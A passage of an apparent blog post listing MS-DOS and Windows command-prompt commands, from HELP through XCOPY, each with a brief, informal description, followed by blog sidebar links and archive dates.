Show extended characters in graphics mode.
HELP
Display a listing of commands and brief explanation.
IF
Allows for batch files to perform conditional processing.
IFSHLP.SYS
32-bit file manager.
IPCONFIG
Network command to view network adapter settings and assigned values.
KEYB
Change layout of keyboard.
LABEL
Change the label of a disk drive.
LH
Load a device driver in to high memory.
LISTSVC
Recovery console command that displays the services and drivers.
LOADFIX
Load a program above the first 64k.
LOADHIGH
Load a device driver in to high memory.
LOCK
Lock the hard disk drive.
LOGON
Recovery console command to list installations and enable administrator login.
MAP
Displays the device name of a drive.
MD
Command to create a new directory.
MEM
Display memory on system.
MKDIR
Command to create a new directory.
MODE
Modify the port or display settings.
MORE
Display one page at a time.
MOVE
Move one or more files from one directory to another directory.
MSAV
Early Microsoft Virus scanner.
MSD
Diagnostics utility.
MSCDEX
Utility used to load and provide access to the CD-ROM.
NBTSTAT
Displays protocol statistics and current TCP/IP connections using NBT
NET
Update, fix, or view the network or network settings
NETSH
Configure dynamic and static network information from MS-DOS.
NETSTAT
Display the TCP/IP network protocol statistics and information.
NLSFUNC
Load country specific information.
NSLOOKUP
Look up an IP address of a domain or host on a network.
PATH
View and modify the computers path location.
PATHPING
View and locate locations of network latency.
PAUSE
Command used in batch files to stop the processing of a command.
PING
Test / send information to another network computer or network device.
POPD
Changes to the directory or network path stored by the pushd command.
POWER
Conserve power with computer portables.
PRINT
Prints data to a printer port.
PROMPT
View and change the MS-DOS prompt.
PUSHD
Stores a directory or network path in memory so it can be returned to at any time.
QBASIC
Open the QBasic.
RD
Removes an empty directory.
REN
Renames a file or directory.
RENAME
Renames a file or directory.
RMDIR
Removes an empty directory.
ROUTE
View and configure windows network route tables.
RUNAS
Enables a user to execute a program on another computer.
SCANDISK
Run the scandisk utility.
SCANREG
Scan registry and recover registry from errors.
SET
Change one variable or string to another.
SETLOCAL
Enables local environments to be changed without affecting anything else.
SETVER
Change MS-DOS version to trick older MS-DOS programs.
SHARE
Installs support for file sharing and locking capabilities.
SHIFT
Changes the position of replaceable parameters in a batch program.
SHUTDOWN
Shutdown the computer from the MS-DOS prompt.
SMARTDRV
Create a disk cache in conventional memory or extended memory.
SORT
Sorts the input and displays the output to the screen.
START
Start a separate window in Windows from the MS-DOS prompt.
SUBST
Substitute a folder on your computer for another drive letter.
SWITCHES
Remove add functions from MS-DOS.
SYS
Transfer system files to disk drive.
TELNET
Telnet to another computer / device from the prompt.
TIME
View or modify the system time.
TITLE
Change the title of their MS-DOS window.
TRACERT
Visually view a network packets route across a network.
TREE
View a visual tree of the hard disk drive.
TYPE
Display the contents of a file.
UNDELETE
Undelete a file that has been deleted.
UNFORMAT
Unformat a hard disk drive.
UNLOCK
Unlock a disk drive.
VER
Display the version information.
VERIFY
Enables or disables the feature to determine if files have been written properly.
VOL
Displays the volume information about the designated drive.
XCOPY
Copy multiple files, directories, and/or drives from one location to another

Translate

Blog Archive

Updates

Subscribe via Email

FEEDJIT Live Traffic Feed

Search

Saturday, January 19, 2008

Friday, January 18, 2008

Thursday, January 17, 2008

Wednesday, January 16, 2008

Tuesday, January 15, 2008

Tuesday, October 2, 2007